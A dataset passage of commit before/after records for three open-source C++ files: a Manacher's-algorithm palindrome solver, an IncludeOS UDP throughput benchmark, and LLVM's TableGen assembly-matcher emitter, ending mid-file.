\"ababa\"}\n\t};\n\n\tfor (const auto &p : tests) {\n\t\tstd::string given = p.first;\n\t\tstd::string want = p.second;\n\t\tstd::string lps = solve(given);\n\n\t\tstd::string result = want == lps ? \"PASS\" : \"FAIL\";\n\t\tstd::cout << result << \": \";\n\t\tstd::cout << \"solve(\\\"\" << given << \"\\\") = \\\"\" << lps << \"\\\"\";\n\t\tstd::cout << \", want \\\"\" << want << \"\\\".\\n\";\n\t}\n\n\treturn 0;\n}\n<commit_msg>Replaced missing semicolon.<commit_after>\/\/ Implementation of a linear time algorithm that find the longest palindromic\n\/\/ substring of a given string.\n\/\/\n\/\/ Author: Mikhail Andrenkov\n\/\/ Date: October 22, 2017\n\/\/\n\/\/ Credit: This code is a modification of a Manacher's Algorithm implementation\n\/\/ from https:\/\/algs4.cs.princeton.edu\/53substring\/Manacher.java.html\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <vector>\n\nstd::string expand(const std::string&);\nstd::string solve(const std::string&);\n\n\/\/ Returns the longest palindromic substring of |given|.\nstd::string solve(const std::string &given) {\n\t\/\/ Expand |given| to represent all palindrome indices.\n\tstd::string pad = expand(given);\n\t\/\/ Declare an array to store the size of the longest palindromic substring\n\t\/\/ at each index of |pad|.\n\tstd::vector<int> lps(pad.size(), 1);\n\n\t\/\/ The center of the active palindrome.\n\tint c = 0;\n\t\/\/ The rightmost index of the active palindrome.\n\tint r = 0;\n\tfor (int i = 0; i < pad.size(); ++i) {\n\t\t\/\/ If |i| is past |r|, no previous LPS entries can be reused.\n\t\tif (i < r) {\n\t\t\t\/\/ Calculate the center index of the mirror palindrome.\n\t\t\tint j = 2*c - i;\n\t\t\t\/\/ Calculate the remaining distance in the active palindrome.\n\t\t\tint remaining = r - i + 1;\n\t\t\tlps[i] = std::min(remaining, lps[j]);\n\t\t}\n\n\t\t\/\/ Check if the current palindrome extends beyond the active palindrome.\n\t\tint length = lps[i];\n\t\twhile (i - length >= 0 && i + length < pad.size() && pad[i - length] == pad[i + length]) {\n\t\t\t++lps[i];\n\t\t\t++length;\n\t\t}\n\n\t\t\/\/ Update the active palindrome if the current palindrome reaches further to the right.\n\t\tint i_r = i + lps[i] - 1;\n\t\tif (i_r > r) {\n\t\t\tc = i;\n\t\t\tr = i_r;\n\t\t}\n\t}\n\n\t\/\/ Extract the index and size of the longest palindromic substring.\n\tauto it = std::max_element(lps.begin(), lps.end());\n\tint index = std::distance(lps.begin(), it);\n\tint size = lps[index];\n\n\t\/\/ Convert the expanded index and size to match the original string.\n\tint start = (index + 1)\/2 - size\/2;\n\tint length = std::max(1, size - 1);\n\treturn given.substr(start, length);\n}\n\n\/\/ Returns |given| with a \"|\" inserted before and after character.\nstd::string expand(const std::string &given) {\n\tstd::string buffer = \"|\";\n\tfor (const auto &c : given) {\n\t\tbuffer += c;\n\t\tbuffer += \"|\";\n\t}\n\treturn buffer;\n}\n\n\/\/ Execution entry point.\nint main() {\n\t\/\/ Declare some sanity-check tests.\n\tstd::vector<std::pair<const std::string, const std::string>> tests = {\n\t\t{\"\", \"\"},\n\t\t{\"a\", \"a\"},\n\t\t{\"aba\", \"aba\"},\n\t\t{\"xabbab\", \"abba\"},\n\t\t{\"xababay\", \"ababa\"}\n\t};\n\n\tfor (const auto &p : tests) {\n\t\tstd::string given = p.first;\n\t\tstd::string want = p.second;\n\t\tstd::string lps = solve(given);\n\n\t\tstd::string result = want == lps ? \"PASS\" : \"FAIL\";\n\t\tstd::cout << result << \": \";\n\t\tstd::cout << \"solve(\\\"\" << given << \"\\\") = \\\"\" << lps << \"\\\"\";\n\t\tstd::cout << \", want \\\"\" << want << \"\\\".\\n\";\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2015 Oslo and Akershus University College of Applied Sciences\n\/\/ and Alfred Bratterud\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <os>\n#include <net\/inet4>\n#include <statman>\n#include <profile>\n#include <cstdio>\n#include <timers>\n\n#define CLIENT_PORT 1337\n#define SERVER_PORT 1338\n#define NCAT_RECEIVE_PORT 9000\n\n#define SEND_BUF_LEN 1300\n#define SERVER_TEST_LEN 10\n#define PACKETS_PER_INTERVAL 50000\n\nusing namespace net::ip4;\n\nuint64_t packets_rx{0};\nuint64_t packets_tx{0};\nuint64_t initial_packets_rx{0};\nuint64_t initial_packets_tx{0};\nuint64_t prev_packets_rx{0};\nuint64_t prev_packets_tx{0};\nuint64_t total_packets_rx{0};\nuint64_t total_packets_tx{0};\nuint64_t data_len{0};\nbool timestamps{true};\nbool first_time{true};\nbool data_received{false};\nstd::chrono::milliseconds dack{40};\nuint64_t first_ts = 0;\nuint64_t sample_ts = 0;\nuint64_t last_ts = 0;\n\nstruct activity {\n void reset() {\n }\n void print(activity& other) {\n auto tdiff = total - other.total;\n auto sdiff = asleep - other.asleep;\n if (tdiff > 0) {\n double idle = sdiff \/ (float) tdiff;\n printf(\"* CPU was %.2f%% idle\\n\", idle * 100.0);\n }\n }\n uint64_t total;\n uint64_t asleep;\n};\nactivity activity_before;\nactivity activity_after;\n\nvoid init_sample_stats()\n{\n data_len = 0;\n initial_packets_rx = Statman::get().get_by_name(\"eth0.ethernet.packets_rx\").get_uint64();\n initial_packets_tx = Statman::get().get_by_name(\"eth0.ethernet.packets_tx\").get_uint64();\n prev_packets_rx = initial_packets_rx;\n prev_packets_tx = initial_packets_tx;\n first_ts = OS::nanos_since_boot();\n sample_ts = last_ts = first_ts;\n activity_before.reset();\n}\n\nvoid measure_sample_stats()\n{\n static uint64_t diff;\n auto prev_diff = diff;\n\n diff = last_ts - first_ts;\n activity_after.reset();\n\n activity_after.print(activity_before);\n\n uint64_t now_rx = Statman::get().get_by_name(\"eth0.ethernet.packets_rx\").get_uint64();\n uint64_t now_tx = Statman::get().get_by_name(\"eth0.ethernet.packets_tx\").get_uint64();\n\n packets_rx = now_rx - prev_packets_rx;\n packets_tx = now_tx - prev_packets_tx;\n prev_packets_rx = now_rx;\n prev_packets_tx = now_tx;\n total_packets_rx = now_rx - initial_packets_rx;\n total_packets_tx = now_tx - initial_packets_tx;\n\n printf(\"-------------------Start-----------------\\n\");\n printf(\"Packets RX [%llu] TX [%llu]\\n\", packets_rx, packets_tx);\n printf(\"Total Packets RX [%llu] TX [%llu]\\n\", total_packets_rx, total_packets_tx);\n\n double prev_durs = ((double) (diff - prev_diff) \/ 1000000000L);\n double total_durs = ((double)diff) \/ 1000000000L;\n double mbits = (data_len\/(1024*1024)*8) \/ total_durs;\n printf(\"Duration: %.2fs, Total Duration: %.2fs, \"\n \" Payload: %lld MB %.2f MBit\/s\\n\\n\",\n prev_durs, total_durs, data_len \/(1024*1024), mbits);\n printf(\"-------------------End-------------------\\n\");\n}\n\nvoid send_cb() {\n data_len += SEND_BUF_LEN;\n}\n\nvoid send_data(auto &client, auto &inet) {\n for (size_t i = 0; i < PACKETS_PER_INTERVAL; i++) {\n const char c = 'A' + (i % 26);\n std::string buff(SEND_BUF_LEN, c);\n client.sendto(inet.gateway(), NCAT_RECEIVE_PORT, buff.data(), buff.size(), send_cb);\n }\n sample_ts = last_ts;\n last_ts = OS::nanos_since_boot();\n printf(\"Done sending data\\n\");\n}\nvoid Service::start(const std::string& input) {\n#ifdef USERSPACE_LINUX\n extern void create_network_device(int N, const char* route, const char* ip);\n create_network_device(0, \"10.0.0.0\/24\", \"10.0.0.1\");\n\n \/\/ Get the first IP stack configured from config.json\n auto& inet = net::Super_stack::get<net::IP4>(0);\n inet.network_config({10,0,0,42}, {255,255,255,0}, {10,0,0,1});\n#else\n auto& inet = net::Super_stack::get<net::IP4>(0);\n#endif\n auto& udp = inet.udp();\n\n if (input.find(\"client\") != std::string::npos) {\n auto& client = udp.bind(CLIENT_PORT);\n printf(\"Running as Client\\n\");\n\n init_sample_stats();\n printf(\"Sending to %s!\\n\", inet.gateway().str().c_str());\n send_data(client, inet);\n int timer = Timers::periodic(1s, 2s,\n [&timer, &inet, &client] (uint32_t) {\n static int secs = 0;\n measure_sample_stats();\n send_data(client, inet);\n \/* Run the test for 10 seconds *\/\n if (secs++ == 10) {\n Timers::stop(timer);\n printf(\"Stopping test\\n\");\n }\n });\n } else {\n auto& server = udp.bind(SERVER_PORT);\n printf(\"Running as Server. Waiting for data...\\n\");\n server.on_read(\n [&server](auto addr, auto port, const char* buf, int len) {\n auto data = std::string(buf, len);\n using namespace std::chrono;\n if (first_time) {\n printf(\"Received data..\\n\");\n init_sample_stats();\n first_time = false;\n }\n \/\/CHECK(1, \"Getting UDP data from %s: %d -> %s\",\n \/\/ addr.str().c_str(), port, data.c_str());\n data_len += data.size();\n data_received = true;\n sample_ts = last_ts;\n last_ts = OS::nanos_since_boot();\n });\n\n Timers::periodic(5s, 5s,\n [] (uint32_t) {\n if (data_received) {\n measure_sample_stats();\n data_received = false;\n }\n });\n }\n}\n<commit_msg>examples: UDP perf now compiles<commit_after>\/\/ This file is a part of the IncludeOS unikernel - www.includeos.org\n\/\/\n\/\/ Copyright 2015 Oslo and Akershus University College of Applied Sciences\n\/\/ and Alfred Bratterud\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <os>\n#include <net\/inet4>\n#include <statman>\n#include <profile>\n#include <cstdio>\n#include <timers>\n\n#define CLIENT_PORT 1337\n#define SERVER_PORT 1338\n#define NCAT_RECEIVE_PORT 9000\n\n#define SEND_BUF_LEN 1300\n#define SERVER_TEST_LEN 10\n#define PACKETS_PER_INTERVAL 50000\n\nusing namespace net::ip4;\n\nuint64_t packets_rx{0};\nuint64_t packets_tx{0};\nuint64_t initial_packets_rx{0};\nuint64_t initial_packets_tx{0};\nuint64_t prev_packets_rx{0};\nuint64_t prev_packets_tx{0};\nuint64_t total_packets_rx{0};\nuint64_t total_packets_tx{0};\nuint64_t data_len{0};\nbool timestamps{true};\nbool first_time{true};\nbool data_received{false};\nstd::chrono::milliseconds dack{40};\nuint64_t first_ts = 0;\nuint64_t sample_ts = 0;\nuint64_t last_ts = 0;\n\nstruct activity {\n void reset() {\n }\n void print(activity& other) {\n auto tdiff = total - other.total;\n auto sdiff = asleep - other.asleep;\n if (tdiff > 0) {\n double idle = sdiff \/ (float) tdiff;\n printf(\"* CPU was %.2f%% idle\\n\", idle * 100.0);\n }\n }\n uint64_t total;\n uint64_t asleep;\n};\nactivity activity_before;\nactivity activity_after;\n\nvoid init_sample_stats()\n{\n data_len = 0;\n initial_packets_rx = Statman::get().get_by_name(\"eth0.ethernet.packets_rx\").get_uint64();\n initial_packets_tx = Statman::get().get_by_name(\"eth0.ethernet.packets_tx\").get_uint64();\n prev_packets_rx = initial_packets_rx;\n prev_packets_tx = initial_packets_tx;\n first_ts = OS::nanos_since_boot();\n sample_ts = last_ts = first_ts;\n activity_before.reset();\n}\n\nvoid measure_sample_stats()\n{\n static uint64_t diff;\n auto prev_diff = diff;\n\n diff = last_ts - first_ts;\n activity_after.reset();\n\n activity_after.print(activity_before);\n\n uint64_t now_rx = Statman::get().get_by_name(\"eth0.ethernet.packets_rx\").get_uint64();\n uint64_t now_tx = Statman::get().get_by_name(\"eth0.ethernet.packets_tx\").get_uint64();\n\n packets_rx = now_rx - prev_packets_rx;\n packets_tx = now_tx - prev_packets_tx;\n prev_packets_rx = now_rx;\n prev_packets_tx = now_tx;\n total_packets_rx = now_rx - initial_packets_rx;\n total_packets_tx = now_tx - initial_packets_tx;\n\n printf(\"-------------------Start-----------------\\n\");\n printf(\"Packets RX [%llu] TX [%llu]\\n\", packets_rx, packets_tx);\n printf(\"Total Packets RX [%llu] TX [%llu]\\n\", total_packets_rx, total_packets_tx);\n\n double prev_durs = ((double) (diff - prev_diff) \/ 1000000000L);\n double total_durs = ((double)diff) \/ 1000000000L;\n double mbits = (data_len\/(1024*1024)*8) \/ total_durs;\n printf(\"Duration: %.2fs, Total Duration: %.2fs, \"\n \" Payload: %lld MB %.2f MBit\/s\\n\\n\",\n prev_durs, total_durs, data_len \/(1024*1024), mbits);\n printf(\"-------------------End-------------------\\n\");\n}\n\nvoid send_cb() {\n data_len += SEND_BUF_LEN;\n}\n\nvoid send_data(net::UDPSocket& client, net::Inet<net::IP4>& inet) {\n for (size_t i = 0; i < PACKETS_PER_INTERVAL; i++) {\n const char c = 'A' + (i % 26);\n std::string buff(SEND_BUF_LEN, c);\n client.sendto(inet.gateway(), NCAT_RECEIVE_PORT, buff.data(), buff.size(), send_cb);\n }\n sample_ts = last_ts;\n last_ts = OS::nanos_since_boot();\n printf(\"Done sending data\\n\");\n}\nvoid Service::start(const std::string& input) {\n#ifdef USERSPACE_LINUX\n extern void create_network_device(int N, const char* route, const char* ip);\n create_network_device(0, \"10.0.0.0\/24\", \"10.0.0.1\");\n\n \/\/ Get the first IP stack configured from config.json\n auto& inet = net::Super_stack::get<net::IP4>(0);\n inet.network_config({10,0,0,42}, {255,255,255,0}, {10,0,0,1});\n#else\n auto& inet = net::Super_stack::get<net::IP4>(0);\n#endif\n auto& udp = inet.udp();\n\n if (input.find(\"client\") != std::string::npos) {\n auto& client = udp.bind(CLIENT_PORT);\n printf(\"Running as Client\\n\");\n\n init_sample_stats();\n printf(\"Sending to %s!\\n\", inet.gateway().str().c_str());\n send_data(client, inet);\n int timer = Timers::periodic(1s, 2s,\n [&timer, &inet, &client] (uint32_t) {\n static int secs = 0;\n measure_sample_stats();\n send_data(client, inet);\n \/* Run the test for 10 seconds *\/\n if (secs++ == 10) {\n Timers::stop(timer);\n printf(\"Stopping test\\n\");\n }\n });\n } else {\n auto& server = udp.bind(SERVER_PORT);\n printf(\"Running as Server. Waiting for data...\\n\");\n server.on_read(\n []([[maybe_unused]]auto addr,\n [[maybe_unused]]auto port,\n const char* buf, int len)\n {\n auto data = std::string(buf, len);\n using namespace std::chrono;\n if (first_time) {\n printf(\"Received data..\\n\");\n init_sample_stats();\n first_time = false;\n }\n \/\/CHECK(1, \"Getting UDP data from %s: %d -> %s\",\n \/\/ addr.str().c_str(), port, data.c_str());\n data_len += data.size();\n data_received = true;\n sample_ts = last_ts;\n last_ts = OS::nanos_since_boot();\n });\n\n Timers::periodic(5s, 5s,\n [] (uint32_t) {\n if (data_received) {\n measure_sample_stats();\n data_received = false;\n }\n });\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===- AsmMatcherEmitter.cpp - Generate an assembly matcher ---------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This tablegen backend emits a target specifier matcher for converting parsed\n\/\/ assembly operands in the MCInst structures.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"AsmMatcherEmitter.h\"\n#include \"CodeGenTarget.h\"\n#include \"Record.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include <set>\n#include <list>\nusing namespace llvm;\n\n\/\/\/ FlattenVariants - Flatten an .td file assembly string by selecting the\n\/\/\/ variant at index \\arg N.\nstatic std::string FlattenVariants(const std::string &AsmString,\n unsigned N) {\n StringRef Cur = AsmString;\n std::string Res = \"\";\n \n for (;;) {\n \/\/ Add the prefix until the next '{', and split out the contents in the\n \/\/ braces.\n std::pair<StringRef, StringRef> Inner, Split = Cur.split('{');\n\n Res += Split.first;\n if (Split.second.empty())\n break;\n\n Inner = Split.second.split('}');\n\n \/\/ Select the Nth variant (or empty).\n StringRef Selection = Inner.first;\n for (unsigned i = 0; i != N; ++i)\n Selection = Selection.split('|').second;\n Res += Selection.split('|').first;\n\n Cur = Inner.second;\n } \n\n return Res;\n}\n\n\/\/\/ TokenizeAsmString - Tokenize a simplified assembly string.\nstatic void TokenizeAsmString(const std::string &AsmString, \n SmallVectorImpl<StringRef> &Tokens) {\n unsigned Prev = 0;\n bool InTok = true;\n for (unsigned i = 0, e = AsmString.size(); i != e; ++i) {\n switch (AsmString[i]) {\n case '*':\n case '!':\n case ' ':\n case '\\t':\n case ',':\n if (InTok) {\n Tokens.push_back(StringRef(&AsmString[Prev], i - Prev));\n InTok = false;\n }\n if (AsmString[i] == '*' || AsmString[i] == '!')\n Tokens.push_back(StringRef(&AsmString[i], 1));\n Prev = i + 1;\n break;\n\n default:\n InTok = true;\n }\n }\n if (InTok && Prev != AsmString.size())\n Tokens.push_back(StringRef(&AsmString[Prev], AsmString.size() - Prev));\n}\n\nvoid AsmMatcherEmitter::run(raw_ostream &OS) {\n CodeGenTarget Target;\n const std::vector<CodeGenRegister> &Registers = Target.getRegisters();\n Record *AsmParser = Target.getAsmParser();\n std::string ClassName = AsmParser->getValueAsString(\"AsmParserClassName\");\n\n std::string Namespace = Registers[0].TheDef->getValueAsString(\"Namespace\");\n\n EmitSourceFileHeader(\"Assembly Matcher Source Fragment\", OS);\n\n \/\/ Emit the function to match a register name to number.\n\n OS << \"bool \" << Target.getName() << ClassName\n << \"::MatchRegisterName(const StringRef &Name, unsigned &RegNo) {\\n\";\n\n \/\/ FIXME: TableGen should have a fast string matcher generator.\n for (unsigned i = 0, e = Registers.size(); i != e; ++i) {\n const CodeGenRegister &Reg = Registers[i];\n if (Reg.TheDef->getValueAsString(\"AsmName\").empty())\n continue;\n\n OS << \" if (Name == \\\"\" \n << Reg.TheDef->getValueAsString(\"AsmName\") << \"\\\")\\n\"\n << \" return RegNo=\" << i + 1 << \", false;\\n\";\n }\n OS << \" return true;\\n\";\n OS << \"}\\n\";\n\n \/\/ Emit the function to match instructions. \n std::vector<const CodeGenInstruction*> NumberedInstructions;\n Target.getInstructionsByEnumValue(NumberedInstructions);\n\n std::list<std::string> MatchFns;\n\n OS << \"\\n\";\n const std::map<std::string, CodeGenInstruction> &Instructions =\n Target.getInstructions();\n for (std::map<std::string, CodeGenInstruction>::const_iterator \n it = Instructions.begin(), ie = Instructions.end(); it != ie; ++it) {\n const CodeGenInstruction &CGI = it->second;\n\n \/\/ Ignore psuedo ops.\n \/\/\n \/\/ FIXME: This is a hack.\n if (const RecordVal *Form = CGI.TheDef->getValue(\"Form\"))\n if (Form->getValue()->getAsString() == \"Pseudo\")\n continue;\n\n \/\/ Ignore instructions with no .s string.\n \/\/\n \/\/ FIXME: What are these?\n if (CGI.AsmString.empty())\n continue;\n\n \/\/ FIXME: Hack; ignore \"lock\".\n if (StringRef(CGI.AsmString).startswith(\"lock\"))\n continue;\n\n \/\/ FIXME: Hack.\n#if 0\n if (1 && it->first != \"SUB8mr\")\n continue;\n#endif\n\n std::string Flattened = FlattenVariants(CGI.AsmString, 0);\n SmallVector<StringRef, 8> Tokens;\n\n TokenizeAsmString(Flattened, Tokens);\n\n DEBUG({\n outs() << it->first << \" -- flattened:\\\"\" \n << Flattened << \"\\\", tokens:[\";\n for (unsigned i = 0, e = Tokens.size(); i != e; ++i) {\n outs() << Tokens[i];\n if (i + 1 != e)\n outs() << \", \";\n }\n outs() << \"]\\n\";\n\n for (unsigned i = 0, e = CGI.OperandList.size(); i != e; ++i) {\n const CodeGenInstruction::OperandInfo &OI = CGI.OperandList[i];\n outs() << \" op[\" << i << \"] = \" << OI.Name\n << \" \" << OI.Rec->getName()\n << \" (\" << OI.MIOperandNo << \", \" << OI.MINumOperands << \")\\n\";\n }\n });\n\n \/\/ FIXME: Ignore non-literal tokens.\n if (std::find(Tokens[0].begin(), Tokens[0].end(), '$') != Tokens[0].end())\n continue;\n\n std::string FnName = \"Match_\" + Target.getName() + \"_Inst_\" + it->first;\n MatchFns.push_back(FnName);\n\n OS << \"static bool \" << FnName\n << \"(const StringRef &Name,\"\n << \" SmallVectorImpl<X86Operand> &Operands,\"\n << \" MCInst &Inst) {\\n\\n\";\n\n OS << \" \/\/ Match name.\\n\";\n OS << \" if (Name != \\\"\" << Tokens[0] << \"\\\")\\n\";\n OS << \" return true;\\n\\n\";\n \n OS << \" \/\/ Match number of operands.\\n\";\n OS << \" if (Operands.size() != \" << Tokens.size() - 1 << \")\\n\";\n OS << \" return true;\\n\\n\";\n\n \/\/ Compute the total number of MCOperands.\n \/\/\n \/\/ FIXME: Isn't this somewhere else?\n unsigned NumMIOperands = 0;\n for (unsigned i = 0, e = CGI.OperandList.size(); i != e; ++i) {\n const CodeGenInstruction::OperandInfo &OI = CGI.OperandList[i];\n NumMIOperands = std::max(NumMIOperands, \n OI.MIOperandNo + OI.MINumOperands);\n }\n\n std::set<unsigned> MatchedOperands;\n \/\/ This the list of operands we need to fill in.\n if (NumMIOperands)\n OS << \" MCOperand Ops[\" << NumMIOperands << \"];\\n\\n\";\n\n unsigned ParsedOpIdx = 0;\n for (unsigned i = 1, e = Tokens.size(); i < e; ++i) {\n \/\/ FIXME: Can only match simple operands.\n if (Tokens[i][0] != '$') {\n OS << \" \/\/ FIXME: unable to match token: '\" << Tokens[i] << \"'!\\n\";\n OS << \" return true;\\n\\n\";\n continue;\n }\n\n \/\/ Map this token to an operand. FIXME: Move elsewhere.\n\n unsigned Idx;\n try {\n Idx = CGI.getOperandNamed(Tokens[i].substr(1));\n } catch(...) {\n OS << \" \/\/ FIXME: unable to find operand: '\" << Tokens[i] << \"'!\\n\";\n OS << \" return true;\\n\\n\";\n continue;\n }\n\n \/\/ FIXME: Each match routine should always end up filling the same number\n \/\/ of operands, we should just check that the number matches what the\n \/\/ match routine expects here instead of passing it. We can do this once\n \/\/ we start generating the class match functions.\n const CodeGenInstruction::OperandInfo &OI = CGI.OperandList[Idx];\n\n \/\/ Track that we have matched these operands.\n \/\/\n \/\/ FIXME: Verify that we don't parse something to the same operand twice.\n for (unsigned j = 0; j != OI.MINumOperands; ++j)\n MatchedOperands.insert(OI.MIOperandNo + j);\n\n OS << \" \/\/ Match '\" << Tokens[i] << \"' (parsed operand \" << ParsedOpIdx \n << \") to machine operands [\" << OI.MIOperandNo << \", \" \n << OI.MIOperandNo + OI.MINumOperands << \").\\n\";\n OS << \" if (Match_\" << Target.getName() \n << \"_Op_\" << OI.Rec->getName() << \"(\"\n << \"Operands[\" << ParsedOpIdx << \"], \"\n << \"&Ops[\" << OI.MIOperandNo << \"], \" \n << OI.MINumOperands << \"))\\n\";\n OS << \" return true;\\n\\n\";\n\n ++ParsedOpIdx;\n }\n\n \/\/ Generate code to construct the MCInst.\n\n OS << \" \/\/ Construct MCInst.\\n\";\n OS << \" Inst.setOpcode(\" << Target.getName() << \"::\" \n << it->first << \");\\n\";\n for (unsigned i = 0, e = NumMIOperands; i != e; ++i) {\n \/\/ FIXME: Oops! Ignore this for now, the instruction should print ok. If\n \/\/ we need to evaluate the constraints.\n if (!MatchedOperands.count(i)) {\n OS << \"\\n\";\n OS << \" \/\/ FIXME: Nothing matched Ops[\" << i << \"]!\\n\";\n OS << \" Ops[\" << i << \"] = MCOperand::CreateReg(0);\\n\";\n OS << \"\\n\";\n }\n\n OS << \" Inst.addOperand(Ops[\" << i << \"]);\\n\";\n }\n OS << \"\\n\";\n OS << \" return false;\\n\";\n OS << \"}\\n\\n\";\n }\n\n \/\/ Generate the top level match function.\n\n OS << \"bool \" << Target.getName() << ClassName\n << \"::MatchInstruction(const StringRef &Name, \"\n << \"SmallVectorImpl<\" << Target.getName() << \"Operand> &Operands, \"\n << \"MCInst &Inst) {\\n\";\n for (std::list<std::string>::iterator it = MatchFns.begin(), \n ie = MatchFns.end(); it != ie; ++it) {\n OS << \" if (!\" << *it << \"(Name, Operands, Inst))\\n\";\n OS << \" return false;\\n\\n\";\n }\n\n OS << \" return true;\\n\";\n OS << \"}\\n\\n\";\n}\n<commit_msg>TableGen \/ AsmMatcher: Tweaks to avoid generating completely bogus match functions. - Fix variant flattening when the variant embeds an operand reference.<commit_after>\/\/===- AsmMatcherEmitter.cpp - Generate an assembly matcher ---------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This tablegen backend emits a target specifier matcher for converting parsed\n\/\/ assembly operands in the MCInst structures.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"AsmMatcherEmitter.h\"\n#include \"CodeGenTarget.h\"\n#include \"Record.h\"\n#include \"llvm\/ADT\/SmallVector.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include <set>\n#include <list>\nusing namespace llvm;\n\n\/\/\/ FlattenVariants - Flatten an .td file assembly string by selecting the\n\/\/\/ variant at index \\arg N.\nstatic std::string FlattenVariants(const std::string &AsmString,\n unsigned N) {\n StringRef Cur = AsmString;\n std::string Res = \"\";\n \n for (;;) {\n \/\/ Find the start of the next variant string.\n size_t VariantsStart = 0;\n for (size_t e = Cur.size(); VariantsStart != e; ++VariantsStart)\n if (Cur[VariantsStart] == '{' && \n (VariantsStart == 0 || Cur[VariantsStart-1] != '$'))\n break;\n\n \/\/ Add the prefix to the result.\n Res += Cur.slice(0, VariantsStart);\n if (VariantsStart == Cur.size())\n break;\n\n ++VariantsStart; \/\/ Skip the '{'.\n\n \/\/ Scan to the end of the variants string.\n size_t VariantsEnd = VariantsStart;\n unsigned NestedBraces = 1;\n for (size_t e = Cur.size(); VariantsEnd != e; ++VariantsEnd) {\n if (Cur[VariantsEnd] == '}') {\n if (--NestedBraces == 0)\n break;\n } else if (Cur[VariantsEnd] == '{')\n ++NestedBraces;\n }\n\n \/\/ Select the Nth variant (or empty).\n StringRef Selection = Cur.slice(VariantsStart, VariantsEnd);\n for (unsigned i = 0; i != N; ++i)\n Selection = Selection.split('|').second;\n Res += Selection.split('|').first;\n\n assert(VariantsEnd != Cur.size() && \n \"Unterminated variants in assembly string!\");\n Cur = Cur.substr(VariantsEnd + 1);\n } \n\n return Res;\n}\n\n\/\/\/ TokenizeAsmString - Tokenize a simplified assembly string.\nstatic void TokenizeAsmString(const std::string &AsmString, \n SmallVectorImpl<StringRef> &Tokens) {\n unsigned Prev = 0;\n bool InTok = true;\n for (unsigned i = 0, e = AsmString.size(); i != e; ++i) {\n switch (AsmString[i]) {\n case '*':\n case '!':\n case ' ':\n case '\\t':\n case ',':\n if (InTok) {\n Tokens.push_back(StringRef(&AsmString[Prev], i - Prev));\n InTok = false;\n }\n if (AsmString[i] == '*' || AsmString[i] == '!')\n Tokens.push_back(StringRef(&AsmString[i], 1));\n Prev = i + 1;\n break;\n\n default:\n InTok = true;\n }\n }\n if (InTok && Prev != AsmString.size())\n Tokens.push_back(StringRef(&AsmString[Prev], AsmString.size() - Prev));\n}\n\nvoid AsmMatcherEmitter::run(raw_ostream &OS) {\n CodeGenTarget Target;\n const std::vector<CodeGenRegister> &Registers = Target.getRegisters();\n Record *AsmParser = Target.getAsmParser();\n std::string ClassName = AsmParser->getValueAsString(\"AsmParserClassName\");\n\n std::string Namespace = Registers[0].TheDef->getValueAsString(\"Namespace\");\n\n EmitSourceFileHeader(\"Assembly Matcher Source Fragment\", OS);\n\n \/\/ Emit the function to match a register name to number.\n\n OS << \"bool \" << Target.getName() << ClassName\n << \"::MatchRegisterName(const StringRef &Name, unsigned &RegNo) {\\n\";\n\n \/\/ FIXME: TableGen should have a fast string matcher generator.\n for (unsigned i = 0, e = Registers.size(); i != e; ++i) {\n const CodeGenRegister &Reg = Registers[i];\n if (Reg.TheDef->getValueAsString(\"AsmName\").empty())\n continue;\n\n OS << \" if (Name == \\\"\" \n << Reg.TheDef->getValueAsString(\"AsmName\") << \"\\\")\\n\"\n << \" return RegNo=\" << i + 1 << \", false;\\n\";\n }\n OS << \" return true;\\n\";\n OS << \"}\\n\";\n\n \/\/ Emit the function to match instructions. \n std::vector<const CodeGenInstruction*> NumberedInstructions;\n Target.getInstructionsByEnumValue(NumberedInstructions);\n\n std::list<std::string> MatchFns;\n\n OS << \"\\n\";\n const std::map<std::string, CodeGenInstruction> &Instructions =\n Target.getInstructions();\n for (std::map<std::string, CodeGenInstruction>::const_iterator \n it = Instructions.begin(), ie = Instructions.end(); it != ie; ++it) {\n const CodeGenInstruction &CGI = it->second;\n\n \/\/ Ignore psuedo ops.\n \/\/\n \/\/ FIXME: This is a hack.\n if (const RecordVal *Form = CGI.TheDef->getValue(\"Form\"))\n if (Form->getValue()->getAsString() == \"Pseudo\")\n continue;\n\n \/\/ Ignore \"PHI\" node.\n \/\/\n \/\/ FIXME: This is also 